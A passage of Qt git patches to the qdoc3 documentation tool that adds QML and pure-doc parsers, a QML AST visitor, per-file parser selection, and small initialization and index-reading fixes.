b/tools/qdoc3/cppcodeparser.h @@ -69,8 +69,8 @@ class CppCodeParser : public CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter(); virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 768c5eb..2d3f034 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -50,10 +50,12 @@ #include "config.h" #include "cppcodemarker.h" #include "cppcodeparser.h" +#include "ditaxmlgenerator.h" #include "doc.h" #include "htmlgenerator.h" #include "plaincodemarker.h" -#include "ditaxmlgenerator.h" +#include "puredocparser.h" +#include "qmlcodeparser.h" #include "tokenizer.h" #include "tree.h" #include @@ -235,14 +237,6 @@ static void processQdocconfFile(const QString &fileName) tree->setVersion(config.getString(CONFIG_VERSION)); /* - There must be a code parser for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeParser *codeParser = CodeParser::parserForLanguage(lang); - if (codeParser == 0) - config.lastLocation().fatal(tr("Cannot parse programming language '%1'").arg(lang)); - - /* By default, the only output format is HTML. */ QSet outputFormats = config.getStringSet(CONFIG_OUTPUTFORMATS); @@ -257,52 +251,69 @@ static void processQdocconfFile(const QString &fileName) langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang)); /* - Read some XML indexes. What are they??? + Read some XML indexes containing definitions from other documentation sets. */ QStringList indexFiles = config.getStringList(CONFIG_INDEXES); tree->readIndexes(indexFiles); - + /* - Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" - Put them in a set. + Read the list of excluded directories. */ QSet excludedDirs; QStringList excludedDirsList = config.getStringList(CONFIG_EXCLUDEDIRS); foreach (const QString &excludeDir, excludedDirsList) excludedDirs.insert(QDir::fromNativeSeparators(excludeDir)); - QSet headers = QSet::fromList( - config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, - codeParser->headerFileNameFilter(), - excludedDirs)); /* - Parse each header file in the set and add it to the big tree. + Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" + Put them in a set. */ - QSet::ConstIterator h = headers.begin(); - while (h != headers.end()) { - codeParser->parseHeaderFile(config.location(), *h, tree); - ++h; - } - codeParser->doneParsingHeaderFiles(tree); + QSet headers = QSet::fromList( + config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, excludedDirs)); /* Get all the source text files: "*.cpp *.qdoc *.mm" Put them in a set. */ QSet sources = QSet::fromList( - config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, - codeParser->sourceFileNameFilter(), - excludedDirs)); + config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, excludedDirs)); + + /* + Parse each header file in the set using the appropriate parser and add it + to the big tree. + */ + QSet usedParsers; + + QSet::ConstIterator h = headers.begin(); + while (h != headers.end()) { + CodeParser *codeParser = CodeParser::parserForHeaderFile(*h); + if (codeParser) { + codeParser->parseHeaderFile(config.location(), *h, tree); + usedParsers.insert(codeParser); + } + ++h; + } + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingHeaderFiles(tree); + + usedParsers.clear(); /* - Parse each source text file in the set and add it to the big tree. + Parse each source text file in the set using the appropriate parser and + add it to the big tree. */ QSet::ConstIterator s = sources.begin(); while (s != sources.end()) { - codeParser->parseSourceFile(config.location(), *s, tree); + CodeParser *codeParser = CodeParser::parserForSourceFile(*s); + if (codeParser) { + codeParser->parseSourceFile(config.location(), *s, tree); + usedParsers.insert(codeParser); + } ++s; } - codeParser->doneParsingSourceFiles(tree); + + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingSourceFiles(tree); /* Now the big tree has been built from all the header and @@ -371,7 +382,8 @@ int main(int argc, char **argv) and create a tree for C++. */ CppCodeParser cppParser; - Tree *cppTree = treeForLanguage(cppParser.language()); + QmlCodeParser qmlParser; + PureDocParser docParser; /* Create code markers for plain text and C++. diff --git a/tools/qdoc3/puredocparser.cpp b/tools/qdoc3/puredocparser.cpp new file mode 100644 index 0000000..de7d668 --- /dev/null +++ b/tools/qdoc3/puredocparser.cpp @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + puredocparser.cpp +*/ + +#include "puredocparser.h" + +QT_BEGIN_NAMESPACE + +PureDocParser::PureDocParser() +{ +} + +PureDocParser::~PureDocParser() +{ +} + +QStringList PureDocParser::sourceFileNameFilter() +{ + return QStringList("*.qdoc"); +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/puredocparser.h b/tools/qdoc3/puredocparser.h new file mode 100644 index 0000000..6e37dbd --- /dev/null +++ b/tools/qdoc3/puredocparser.h @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + puredocparser.h +*/ + +#ifndef PUREDOCPARSER_H +#define PUREDOCPARSER_H + +#include + +#include "cppcodeparser.h" +#include "location.h" + +QT_BEGIN_NAMESPACE + +class Config; +class Node; +class QString; +class Tree; + +class PureDocParser : public CppCodeParser +{ +public: + PureDocParser(); + virtual ~PureDocParser(); + + virtual QStringList sourceFileNameFilter(); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index c9b05d2..2c91a9c 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -42,6 +42,9 @@ HEADERS += atom.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ + puredocparser.h \ + qmlcodeparser.h \ + qmlvisitor.h \ quoter.h \ separator.h \ text.h \ @@ -67,6 +70,9 @@ SOURCES += atom.cpp \ openedlist.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ + puredocparser.cpp \ + qmlcodeparser.cpp \ + qmlvisitor.cpp \ quoter.cpp \ separator.cpp \ text.cpp \ @@ -74,6 +80,11 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp +# Include the QML parsing library from Qt Creator. + +LIBS += -L$$(QTCREATOR_LIBPATH) -lQmlJS -lUtils +INCLUDEPATH += $$(QTCREATOR_INCPATH) + ### Documentation for qdoc3 ### qtPrepareTool(QDOC, qdoc3) diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp new file mode 100644 index 0000000..c6ace7d --- /dev/null +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -0,0 +1,168 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodeparser.cpp +*/ + +#include "parser/qmljsast_p.h" +#include "parser/qmljsastvisitor_p.h" +#include "parser/qmljsnodepool_p.h" + +#include "qmlcodeparser.h" +#include "node.h" +#include "tree.h" +#include "config.h" +#include "qmlvisitor.h" + +QT_BEGIN_NAMESPACE + +#define COMMAND_STARTPAGE Doc::alias("startpage") +#define COMMAND_VARIABLE Doc::alias("variable") + +#define COMMAND_QMLCLASS Doc::alias("qmlclass") +#define COMMAND_QMLPROPERTY Doc::alias("qmlproperty") +#define COMMAND_QMLATTACHEDPROPERTY Doc::alias("qmlattachedproperty") +#define COMMAND_QMLINHERITS Doc::alias("inherits") +#define COMMAND_QMLSIGNAL Doc::alias("qmlsignal") +#define COMMAND_QMLATTACHEDSIGNAL Doc::alias("qmlattachedsignal") +#define COMMAND_QMLMETHOD Doc::alias("qmlmethod") +#define COMMAND_QMLATTACHEDMETHOD Doc::alias("qmlattachedmethod") +#define COMMAND_QMLDEFAULT Doc::alias("default") +#define COMMAND_QMLBASICTYPE Doc::alias("qmlbasictype") + +QmlCodeParser::QmlCodeParser() +{ +} + +QmlCodeParser::~QmlCodeParser() +{ +} + +/*! + Initialize the code parser base class. + */ +void QmlCodeParser::initializeParser(const Config &config) +{ + CodeParser::initializeParser(config); + + lexer = new QmlJS::Lexer(&engine); + parser = new QmlJS::Parser(&engine); +} + +void QmlCodeParser::terminateParser() +{ + delete lexer; + delete parser; +} + +QString QmlCodeParser::language() +{ + return "QML"; +} + +QStringList QmlCodeParser::sourceFileNameFilter() +{ + return QStringList("*.qml"); +} + +void QmlCodeParser::parseSourceFile(const Location& location, + const QString& filePath, + Tree *tree) +{ + QFile in(filePath); + if (!in.open(QIODevice::ReadOnly)) { + location.error(tr("Cannot open QML file '%1'").arg(filePath)); + return; + } + + QString document = in.readAll(); + in.close(); + + Location fileLocation(filePath); + lexer->setCode(document, 1); + + QSet topicCommandsAllowed = topicCommands(); + QSet otherMetacommandsAllowed = otherMetaCommands(); + QSet metacommandsAllowed = topicCommandsAllowed + + otherMetacommandsAllowed; + + QmlJS::NodePool m_nodePool(filePath, &engine); + + if (parser->parse()) { + QmlJS::AST::UiProgram *ast = parser->ast(); + DocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QmlJS::AST::Node::accept(ast, &visitor); + } +} + +void QmlCodeParser::doneParsingSourceFiles(Tree *tree) +{ +} + +/*! + Returns the set of strings reopresenting the topic commands. + */ +QSet QmlCodeParser::topicCommands() +{ + return QSet() << COMMAND_VARIABLE + << COMMAND_QMLCLASS + << COMMAND_QMLPROPERTY + << COMMAND_QMLATTACHEDPROPERTY + << COMMAND_QMLSIGNAL + << COMMAND_QMLATTACHEDSIGNAL + << COMMAND_QMLMETHOD + << COMMAND_QMLATTACHEDMETHOD + << COMMAND_QMLBASICTYPE; +} + +/*! + Returns the set of strings representing the common metacommands + plus some other metacommands. + */ +QSet QmlCodeParser::otherMetaCommands() +{ + return commonMetaCommands() << COMMAND_STARTPAGE + << COMMAND_QMLINHERITS + << COMMAND_QMLDEFAULT; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h new file mode 100644 index 0000000..f6d6684 --- /dev/null +++ b/tools/qdoc3/qmlcodeparser.h @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodeparser.h +*/ + +#ifndef QMLCODEPARSER_H +#define QMLCODEPARSER_H + +#include +#include "parser/qmljsengine_p.h" +#include "parser/qmljslexer_p.h" +#include "parser/qmljsparser_p.h" + +#include "codeparser.h" +#include "location.h" + +QT_BEGIN_NAMESPACE + +class Config; +class Node; +class QString; +class Tree; + +class QmlCodeParser : public CodeParser +{ +public: + QmlCodeParser(); + virtual ~QmlCodeParser(); + + virtual void initializeParser(const Config& config); + virtual void terminateParser(); + virtual QString language(); + virtual QStringList sourceFileNameFilter(); + virtual void parseSourceFile(const Location& location, + const QString& filePath, Tree *tree); + virtual void doneParsingSourceFiles(Tree *tree); + +protected: + virtual QSet topicCommands(); + virtual QSet otherMetaCommands(); + +private: + QmlJS::Engine engine; + QmlJS::Lexer *lexer; + QmlJS::Parser *parser; +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp new file mode 100644 index 0000000..83bf96f --- /dev/null +++ b/tools/qdoc3/qmlvisitor.cpp @@ -0,0 +1,191 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include "parser/qmljsast_p.h" +#include "parser/qmljsastfwd_p.h" +#include "parser/qmljsengine_p.h" + +#include "node.h" +#include "qmlvisitor.h" + +DocVisitor::DocVisitor(const QString &filePath, const QString &code, + QmlJS::Engine *engine, Tree *tree, QSet &commands) +{ + this->filePath = filePath; + this->name = QFileInfo(filePath).baseName(); + document = code; + this->engine = engine; + this->tree = tree; + this->commands = commands; + current = tree->root(); +} + +DocVisitor::~DocVisitor() +{ +} + +QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const +{ + QmlJS::AST::SourceLocation currentLoc; + + foreach (const QmlJS::AST::SourceLocation &loc, engine->comments()) { + if (loc.begin() > lastEndOffset && loc.end() < offset) + currentLoc = loc; + else + break; + } + if (currentLoc.isValid()) { + QString comment = document.mid(currentLoc.offset, currentLoc.length); + if (comment.startsWith("!") || comment.startsWith("*")) + return currentLoc; + } + + return QmlJS::AST::SourceLocation(); +} + +void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, + InnerNode *node) +{ + QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); + + if (loc.isValid()) { + QString source = document.mid(loc.offset, loc.length); + if (source.startsWith(QLatin1String("!")) || + source.startsWith(QLatin1String("*"))) { + + Location start(filePath); + start.setLineNo(loc.startLine); + start.setColumnNo(loc.startColumn); + Location finish(filePath); + finish.setLineNo(loc.startLine); + finish.setColumnNo(loc.startColumn); + + Doc doc(start, finish, source.mid(1), commands); + node->setDoc(doc); + } + } +} + +/*! + Visits element definitions, recording them in a tree structure. +*/ +bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) +{ + QString type = definition->qualifiedTypeNameId->name->asString(); + + if (current->type() == Node::Namespace) { + QmlClassNode *component = new QmlClassNode(current, name, 0); + applyDocumentation(definition->firstSourceLocation(), component); + current = component; + } + + return true; +} + +void DocVisitor::endVisit(QmlJS::AST::UiObjectDefinition *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) +{ + // Note that the imports list can be traversed by iteration to obtain + // all the imports in the document at once, having found just one: + // *it = imports; it; it = it->next + + QString module = document.mid(imports->import->fileNameToken.offset, + imports->import->fileNameToken.length); + QString version = document.mid(imports->import->versionToken.offset, + imports->import->versionToken.length); + importList.append(QPair(module, version)); + + return true; +} + +/*! + Visits public member declarations, such as signals and properties. + These only include custom signals and properties. +*/ +bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) +{ + switch (member->type) { + case QmlJS::AST::UiPublicMember::Signal: + { + QString name = member->name->asString(); + + QList > parameters; + for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + if (it->type && it->name) + parameters.append(QPair(it->type->asString(), + it->name->asString())); + } + + //current->addSignal(new Signal(name, parameters)); + break; + } + case QmlJS::AST::UiPublicMember::Property: + { + QString type = member->memberType->asString(); + QString name = member->name->asString(); + + //current->addProperty(new Property(type, name)); + break; + } + default: + return false; + } + + //current->doc = precedingComment(member->firstSourceLocation().begin()); + return true; +} + +void DocVisitor::endVisit(QmlJS::AST::UiPublicMember *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool DocVisitor::visit(QmlJS::AST::IdentifierPropertyName *idproperty) +{ + return true; +} diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h new file mode 100644 index 0000000..01da98e --- /dev/null +++ b/tools/qdoc3/qmlvisitor.h @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef DOCVISITOR_H +#define DOCVISITOR_H + +#include +#include "parser/qmljsastvisitor_p.h" +#include "node.h" +#include "tree.h" + +class DocVisitor : public QmlJS::AST::Visitor +{ +public: + DocVisitor(const QString &filePath, const QString &code, + QmlJS::Engine *engine, Tree *tree, QSet &commands); + virtual ~DocVisitor(); + + bool visit(QmlJS::AST::UiImportList *imports); + + bool visit(QmlJS::AST::UiObjectDefinition *definition); + void endVisit(QmlJS::AST::UiObjectDefinition *definition); + + bool visit(QmlJS::AST::UiPublicMember *member); + void endVisit(QmlJS::AST::UiPublicMember *definition); + + bool visit(QmlJS::AST::IdentifierPropertyName *idproperty); + +private: + QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; + void applyDocumentation(QmlJS::AST::SourceLocation location, + InnerNode *node); + + QmlJS::Engine *engine; + quint32 lastEndOffset; + QString filePath; + QString name; + QString document; + QList > importList; + QSet commands; + Tree *tree; + InnerNode *current; +}; + +#endif -- cgit v0.12 From b235215ebadaed8b985323b581e8818dd4f09d7f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:17:21 +0100 Subject: Ensured that the inObsoleteLink variable is initialized. --- tools/qdoc3/htmlgenerator.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index b095f23..3f76204 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -218,7 +218,8 @@ HtmlGenerator::HtmlGenerator() funcLeftParen("\\S(\\()"), myTree(0), slow(false), - obsoleteLinks(false) + obsoleteLinks(false), + inObsoleteLink(false) { } -- cgit v0.12 From fc124dd191f285d6003ad458621f752c2a164cf4 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:34:56 +0100 Subject: Ensured that the inObsoleteLink variable is initialized. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a83a321..ce597f2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -385,7 +385,8 @@ DitaXmlGenerator::DitaXmlGenerator() myTree(0), slow(false), obsoleteLinks(false), - noLinks(0) + noLinks(0), + inObsoleteLink(false) { } -- cgit v0.12 From 25762d8825d5085287c3266f29a67046b99ff38a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:36:10 +0100 Subject: Trivial whitespace fixes. --- tools/qdoc3/node.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 40b78ef..ae713d5 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -87,8 +87,8 @@ class Node enum SubType { NoSubType, - Example, - HeaderFile, + Example, + HeaderFile, File, Image, Group, @@ -114,7 +114,7 @@ class Node Commendable, Main, Internal - }; // don't reorder thisw enum + }; // don't reorder this enum enum ThreadSafeness { UnspecifiedSafeness, -- cgit v0.12 From 74fd34b43e2954881767e33fd62fe5b922643f88 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:36:57 +0100 Subject: Added a check for read-only pure QML properties before C++ checks. --- tools/qdoc3/node.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index e043f5d..3e8230c 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1680,6 +1680,9 @@ static QString valueType(const QString& n) */ bool QmlPropertyNode::isWritable(const Tree* tree) const { + if (wri != Trool_Default) + return fromTrool(wri, false); + Node* n = parent(); while (n && n->subType() != Node::QmlClass) n = n->parent(); -- cgit v0.12 From 5edca8bf762e7f3efcff2d95790b7e5ad3e9a89c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:37:44 +0100 Subject: Ensured that QML nodes are imported from indexes. --- tools/qdoc3/tree.cpp | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 9946f0b..20c1373 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -806,6 +806,12 @@ void Tree::readIndexSection(const QDomElement &element, subtype = Node::Page; else if (element.attribute("subtype") == "externalpage") subtype = Node::ExternalPage; + else if (element.attribute("subtype") == "qmlclass") + subtype = Node::QmlClass; + else if (element.attribute("subtype") == "qmlpropertygroup") + subtype = Node::QmlPropertyGroup; + else if (element.attribute("subtype") == "qmlbasictype") + subtype = Node::QmlBasicType; else return; -- cgit v0.12 From b81081ff67d3e27e36c8165c9b0814feca1fcf15 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:38:29 +0100 Subject: Added support for pure QML signals and properties. Generalized the function to annotate nodes with documentation. --- tools/qdoc3/qmlvisitor.cpp | 50 +++++++++++++++++++++++++++++++++++----------- tools/qdoc3/qmlvisitor.h | 3 +-- 2 files changed, 39 insertions(+), 14 deletions(-) diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp index 83bf96f..1d65c3d 100644 --- a/tools/qdoc3/qmlvisitor.cpp +++ b/tools/qdoc3/qmlvisitor.cpp @@ -85,14 +85,15 @@ QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const } void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, - InnerNode *node) + Node *node) { QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); if (loc.isValid()) { QString source = document.mid(loc.offset, loc.length); if (source.startsWith(QLatin1String("!")) || - source.startsWith(QLatin1String("*"))) { + (source.startsWith(QLatin1String("*")) && + source[1] != QLatin1Char('*'))) { Location start(filePath); start.setLineNo(loc.startLine); @@ -116,7 +117,13 @@ bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) if (current->type() == Node::Namespace) { QmlClassNode *component = new QmlClassNode(current, name, 0); + component->setTitle(QLatin1String("QML ") + name + QLatin1String(" Component")); + + QmlClassNode::addInheritedBy(type, component); + component->setLink(Node::InheritsLink, type, type); + applyDocumentation(definition->firstSourceLocation(), component); + current = component; } @@ -152,16 +159,23 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) switch (member->type) { case QmlJS::AST::UiPublicMember::Signal: { - QString name = member->name->asString(); - - QList > parameters; - for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { - if (it->type && it->name) - parameters.append(QPair(it->type->asString(), - it->name->asString())); + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast(current); + if (qmlClass) { + + QString name = member->name->asString(); + FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false); + + QList parameters; + for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + if (it->type && it->name) + parameters.append(Parameter(it->type->asString(), "", it->name->asString())); + } + + qmlSignal->setParameters(parameters); + applyDocumentation(member->firstSourceLocation(), qmlSignal); + } } - - //current->addSignal(new Signal(name, parameters)); break; } case QmlJS::AST::UiPublicMember::Property: @@ -169,7 +183,19 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) QString type = member->memberType->asString(); QString name = member->name->asString(); - //current->addProperty(new Property(type, name)); + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast(current); + if (qmlClass) { + + QString name = member->name->asString(); + QmlPropGroupNode *qmlPropGroup = new QmlPropGroupNode(qmlClass, name, false); + if (member->isDefaultMember) + qmlPropGroup->setDefault(); + QmlPropertyNode *qmlPropNode = new QmlPropertyNode(qmlPropGroup, name, type, false); + qmlPropNode->setWritable(!member->isReadonlyMember); + applyDocumentation(member->firstSourceLocation(), qmlPropNode); + } + } break; } default: diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h index 01da98e..a830793 100644 --- a/tools/qdoc3/qmlvisitor.h +++ b/tools/qdoc3/qmlvisitor.h @@ -66,8 +66,7 @@ public: private: QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; - void applyDocumentation(QmlJS::AST::SourceLocation location, - InnerNode *node); + void applyDocumentation(QmlJS::AST::SourceLocation location, Node *node); QmlJS::Engine *engine; quint32 lastEndOffset; -- cgit v0.12 From 344c3ad32bd36ad67731aa3171103a6c5e2f93e0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sun, 28 Nov 2010 20:44:21 +0100 Subject: Added the foundations of QML markup support. Use the QtDeclarative parser instead of Qt Creator's QML parser. Split the QML visitor into documentation and markup visitors. The code marker used for each file is now determined from its extension. --- 